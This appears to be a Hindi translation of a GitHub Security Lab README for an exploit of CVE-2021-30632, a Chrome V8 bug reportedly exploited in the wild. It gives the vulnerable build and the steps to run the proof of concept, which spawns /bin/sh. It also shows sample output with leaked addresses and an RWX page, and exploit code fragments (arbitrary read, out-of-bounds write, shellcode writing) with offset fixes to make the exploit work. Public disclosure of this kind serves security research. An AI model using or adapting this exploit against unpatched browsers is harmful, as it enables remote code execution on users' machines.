
m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
स्रोत: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
इस बग का विश्लेषण यहाँ पाया जा सकता है। यह एक Chrome बग है जिसे एक अज्ञात शोधकर्ता द्वारा रिपोर्ट किया गया था और ऐसा माना जाता है कि इसका वास्तविक दुनिया में शोषण किया गया था।
यहाँ दिया गया exploit v8 संस्करण 9.3.345.16 (commit 632e6e7) पर परीक्षित किया गया है, जो Chrome 93.0.4577.63 के साथ भेजा गया संस्करण है, बग ठीक होने से पहले वाला संस्करण, Ubuntu 20.04 पर। मैंने इसे Chrome पर स्वयं परीक्षित नहीं किया है।
परीक्षण करने के लिए, commit 632e6e7 पर v8 को check out करें और tools/dev/gm.py x64.release का उपयोग करके डिफ़ॉल्ट सेटिंग्स के साथ कंपाइल करें। फिर d8 के साथ poc.js फ़ाइल खोलें:
./d8 poc.js
Ubuntu 20.04 पर, यह एक नई प्रक्रिया शुरू करने के लिए execve("/bin/sh") को कॉल करेगा:
./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $ अन्य प्लेटफ़ॉर्म पर Shell code बदलने की आवश्यकता हो सकती है।
exploit बहुत विश्वसनीय है, हालाँकि, परीक्षण के दौरान मैंने देखा कि कुछ offsets फ़ाइल में छोटे बदलावों के प्रति संवेदनशील प्रतीत होते हैं (यहाँ तक कि टिप्पणियाँ जोड़ने से भी समस्या हो सकती है), जिससे exploit विफल हो सकता है। यह केवल तब होता है जब फ़ाइल को संशोधित किया जाता है और आमतौर पर यह पतों के कुछ कचरा मानों के रूप में प्रकट होता है, उदाहरण के लिए:
instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a
उपरोक्त में, rwx page का पता और initBackingStore स्पष्ट रूप से गलत हैं। मूल कारण एक गलत elements store मान प्रतीत होता है। (800222d एक मान्य मान नहीं है) इसे आमतौर पर elements के पते से संबंधित निम्न पंक्तियों को बदलकर ठीक किया जा सकता है:
function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
हालाँकि, यह exploit की विश्वसनीयता को प्रभावित नहीं करता है क्योंकि जब तक फ़ाइल स्थिर है, offsets स्थिर रहते हैं, लेकिन यदि poc को संशोधित किया जाता है तो यह समस्याएँ पैदा कर सकता है। मुझे नहीं पता कि इसका कारण क्या है, लेकिन संभवतः fixed offsets पर निर्भर रहने के बजाय मेमोरी में पैटर्न मिलान करके exploit को इसके प्रति अधिक मजबूत बनाया जा सकता है।